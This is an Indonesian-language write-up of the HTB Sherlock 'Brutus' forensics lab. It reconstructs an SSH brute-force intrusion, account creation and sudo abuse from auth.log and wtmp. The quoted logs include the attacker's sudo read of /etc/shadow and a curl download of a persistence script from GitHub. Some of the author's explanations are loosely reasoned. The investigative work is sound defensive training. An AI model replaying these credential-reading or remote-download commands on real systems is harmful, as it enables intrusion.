Writeup — Brutus (HTB Sherlock)| Cybersecurity Bootcamp IDN Week 3 (Blue Team)

By: Faizylux

Overview

Pada lab ini kita diminta menganalisis dua artefak log Linux yaitu auth.log dan wtmp. Server yang dianalisis adalah server Confluence yang ternyata menjadi target SSH brute force attack.

Setelah attacker berhasil mendapatkan akses, dia melakukan beberapa aktivitas lain seperti:

• login ke server
• membuat user baru sebagai persistence
• memberikan hak akses sudo
• menjalankan command dengan sudo

Semua aktivitas tersebut bisa dilihat dari auth.log dan wtmp, sehingga kita bisa menyusun kembali kronologi serangannya.

Q1: Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack? (Analisis file auth.log. Berapa alamat IP yang digunakan penyerang untuk melakukan serangan brute force?)

Penjelasan:

Pertama kita perlu mencari IP yang melakukan brute force. Biasanya brute force menghasilkan banyak log Failed password.

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ cat auth.log | grep "Failed password"
Mar  6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2
Mar  6 06:31:34 ip-172-31-35-28 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2
Mar  6 06:31:34 ip-172-31-35-28 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2
Mar  6 06:31:34 ip-172-31-35-28 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2
Mar  6 06:31:34 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
Mar  6 06:31:36 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2359]: Failed password for invalid user server_adm from 65.2.161.68 port 46596 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2361]: Failed password for invalid user server_adm from 65.2.161.68 port 46614 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2368]: Failed password for invalid user server_adm from 65.2.161.68 port 46676 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2369]: Failed password for invalid user server_adm from 65.2.161.68 port 46682 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2365]: Failed password for invalid user server_adm from 65.2.161.68 port 46644 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2366]: Failed password for invalid user server_adm from 65.2.161.68 port 46648 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2364]: Failed password for invalid user server_adm from 65.2.161.68 port 46632 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2367]: Failed password for invalid user server_adm from 65.2.161.68 port 46664 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2363]: Failed password for invalid user server_adm from 65.2.161.68 port 46620 ssh2
Mar  6 06:31:37 ip-172-31-35-28 sshd[2377]: Failed password for invalid user server_adm from 65.2.161.68 port 46684 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2379]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2
Mar  6 06:31:38 ip-172-31-35-28 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46800 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
Mar  6 06:31:39 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
Mar  6 06:31:41 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2

Dari hasil output terlihat banyak percobaan login gagal dari satu IP yang sama. Karena IP tersebut muncul berkali-kali saat percobaan login gagal, dapat disimpulkan bahwa itulah IP penyerang.

Answer: 65.2.161.68

Q2: The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account? (Upaya serangan brute force berhasil dan penyerang mendapatkan akses ke sebuah akun di server. Apa nama pengguna akun tersebut?)

Penjelasan: Setelah brute force berhasil, log biasanya akan menampilkan Accepted password.

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ cat auth.log | grep "Accepted password"
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Dari log tersebut terlihat bahwa attacker berhasil login menggunakan akun root.

Answer: root

Q3: Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact. ( Identifikasi stempel waktu UTC saat penyerang masuk secara manual ke server dan membuat sesi terminal untuk melaksanakan tujuannya. Waktu masuk akan berbeda dengan waktu otentikasi, dan dapat ditemukan di artefak wtmp.)

Penjelasan: Soal menjelaskan bahwa login pertama terjadi karena brute force otomatis dan session langsung ditutup. Setelah itu attacker melakukan login manual untuk membuka terminal session.

Informasi waktu login ini bisa ditemukan di file wtmp.Karena file wtmp tidak bisa dibaca langsung, kita menggunakan script yang disediakan.

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ python3 utmp.py wtmp
"type"  "pid"   "line"  "id"    "user"  "host"  "term"  "exit"  "session"       "sec"   "usec"  "addr"
"BOOT_TIME"     "0"     "~"     "~~"    "reboot"        "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/01/25 18:12:17"   "804944"   "0.0.0.0"
"INIT"  "601"   "ttyS0" "tyS0"  ""      ""      "0"     "0"     "601"   "2024/01/25 18:12:31"   "72401" "0.0.0.0"
"LOGIN" "601"   "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "601"   "2024/01/25 18:12:31"   "72401" "0.0.0.0"
"INIT"  "618"   "tty1"  "tty1"  ""      ""      "0"     "0"     "618"   "2024/01/25 18:12:31"   "80342" "0.0.0.0"
"LOGIN" "618"   "tty1"  "tty1"  "LOGIN" ""      "0"     "0"     "618"   "2024/01/25 18:12:31"   "80342" "0.0.0.0"
"RUN_LVL"       "53"    "~"     "~~"    "runlevel"      "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/01/25 18:12:33"   "792454"   "0.0.0.0"
"USER"  "1284"  "pts/0" "ts/0"  "ubuntu"        "203.101.190.9" "0"     "0"     "0"     "2024/01/25 18:13:58"   "354674"        "203.101.190.9"
"DEAD"  "1284"  "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/01/25 18:15:12"   "956114"        "0.0.0.0"
"USER"  "1483"  "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/01/25 18:15:40"   "806926"        "203.101.190.9"
"DEAD"  "1404"  "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/01/25 19:34:34"   "949753"        "0.0.0.0"
"USER"  "836798"        "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 17:33:49"   "408334"        "203.101.190.9"
"INIT"  "838568"        "ttyS0" "tyS0"  ""      ""      "0"     "0"     "838568"        "2024/02/11 17:39:02"   "172417"        "0.0.0.0"
"LOGIN" "838568"        "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "838568"        "2024/02/11 17:39:02"   "172417"        "0.0.0.0"
"USER"  "838962"        "pts/1" "ts/1"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 17:41:11"   "700107"        "203.101.190.9"
"DEAD"  "838896"        "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 17:41:46"   "272984"        "0.0.0.0"
"USER"  "842171"        "pts/1" "ts/1"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 17:54:27"   "775434"        "203.101.190.9"
"DEAD"  "842073"        "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 18:08:04"   "769514"        "0.0.0.0"
"DEAD"  "836694"        "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 18:08:04"   "769963"        "0.0.0.0"
"RUN_LVL"       "0"     "~"     "~~"    "shutdown"      "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/02/11 18:09:18"   "731"      "0.0.0.0"
"BOOT_TIME"     "0"     "~"     "~~"    "reboot"        "6.2.0-1018-aws"        "0"     "0"     "0"     "2024/03/06 13:17:15"   "744575"   "0.0.0.0"
"INIT"  "464"   "ttyS0" "tyS0"  ""      ""      "0"     "0"     "464"   "2024/03/06 13:17:27"   "354378"        "0.0.0.0"
"LOGIN" "464"   "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "464"   "2024/03/06 13:17:27"   "354378"        "0.0.0.0"
"INIT"  "505"   "tty1"  "tty1"  ""      ""      "0"     "0"     "505"   "2024/03/06 13:17:27"   "469940"        "0.0.0.0"
"LOGIN" "505"   "tty1"  "tty1"  "LOGIN" ""      "0"     "0"     "505"   "2024/03/06 13:17:27"   "469940"        "0.0.0.0"
"RUN_LVL"       "53"    "~"     "~~"    "runlevel"      "6.2.0-1018-aws"        "0"     "0"     "0"     "2024/03/06 13:17:29"   "538024"   "0.0.0.0"
"USER"  "1583"  "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/03/06 13:19:55"   "151913"        "203.101.190.9"
"USER"  "2549"  "pts/1" "ts/1"  "root"  "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 13:32:45"   "387923"        "65.2.161.68"
"DEAD"  "2491"  "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/03/06 13:37:24"   "590579"        "0.0.0.0"
"USER"  "2667"  "pts/1" "ts/1"  "cyberjunkie"   "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 13:37:35"   "475575"        "65.2.161.68"

Output penting: “USER” “2549” “pts/1” “ts/1” “root” “65.2.161.68” “2024/03/06 13:32:45”

Namun waktu yang ditampilkan adalah local time server. Server menggunakan timezone UTC+7, sedangkan soal meminta waktu dalam UTC. Jadi perlu dikurangi 7 jam.

13:32:45 - 7 jam = 06:32:45

Answer: 2024–03–06 06:32:45

Q4: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2? (Sesi login SSH dilacak dan diberi nomor sesi setelah login. Berapakah nomor sesi yang diberikan kepada sesi penyerang untuk akun pengguna dari Pertanyaan 2?)

Penjelasan: Setiap login SSH memiliki session number yang dicatat oleh sistem PAM. Kita bisa mencarinya di auth.log pada bagian session opened.

Di sekitar log login attacker akan terlihat session number.

Setelah ditelusuri, session yang terkait dengan login attacker memiliki nomor:

Answer: 37

Q5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account? (Penyerang menambahkan pengguna baru sebagai bagian dari strategi persistensi mereka di server dan memberikan hak akses yang lebih tinggi kepada akun pengguna baru ini. Apa nama akun tersebut?)

Penjelasan: Setelah attacker berhasil login, dia membuat user baru sebagai persistence supaya tetap bisa mengakses sistem.

Aktivitas pembuatan user biasanya tercatat dengan useradd.

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ cat auth.log | grep "useradd"
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

Artinya attacker membuat akun baru bernama cyberjunkie.

Answer: cyberjunkie

Q6:What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account? (Apa ID sub-teknik MITRE ATT&CK yang digunakan untuk mempertahankan akses dengan membuat akun baru?)

Penjelasan: Membuat akun baru untuk mempertahankan akses termasuk teknik persistence dalam MITRE ATT&CK.

Teknik tersebut bernama: T113

nah karna Create Account — Local Account

ID tekniknya adalah: T1136.001

Answer: T1136.001

Q7: What time did the attacker’s first SSH session end according to auth.log? Pukul berapa sesi SSH pertama penyerang berakhir menurut auth.log?

Penjelasan: Sekarang kita perlu mencari kapan session SSH attacker berakhir

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ cat auth.log | grep "session closed for user root"
Mar  6 06:25:01 ip-172-31-35-28 CRON[2219]: pam_unix(cron:session): session closed for user root
Mar  6 06:25:01 ip-172-31-35-28 CRON[2218]: pam_unix(cron:session): session closed for user root
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

output penting: Mar 6 06:37:24 sshd[2491]: pam_unix(sshd:session): session closed for user root

Jika dikonversi ke format soal: 2024–03–06 06:37:24

Answer: 2024–03–06 06:37:24

Q8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo? (Penyerang masuk ke akun backdoor mereka dan menggunakan hak akses yang lebih tinggi untuk mengunduh skrip. Apa perintah lengkap yang dieksekusi menggunakan sudo?)

Penjelasan: Setelah membuat akun cyberjunkie, attacker memberikan akses sudo lalu menjalankan beberapa command.

Kita bisa mencari aktivitas sudo dengan:

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]
└─$ cat auth.log | grep sudo
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

┌──(faizylux㉿DESKTOP-JE5RP3C)-[~/Documents/htb/brutus]

Output yang penting: sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Command tersebut digunakan untuk mendownload script linper.sh, sebuah tool untuk melakukan enumerasi privilege escalation di Linux.

Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Timeline Singkat Serangan

Jika disusun dari log, urutan aktivitas attacker kira-kira seperti ini:

1. Attacker melakukan SSH brute force dari IP 65.2.161.68
2. Berhasil mendapatkan password akun root
3. Login manual ke server pada 06:32:45
4. Membuat akun baru cyberjunkie
5. Menambahkan user tersebut ke grup sudo
6. Mengakses file sensitif /etc/shadow
7. Mengunduh tool linper.sh
8. Session SSH berakhir pada 06:37:24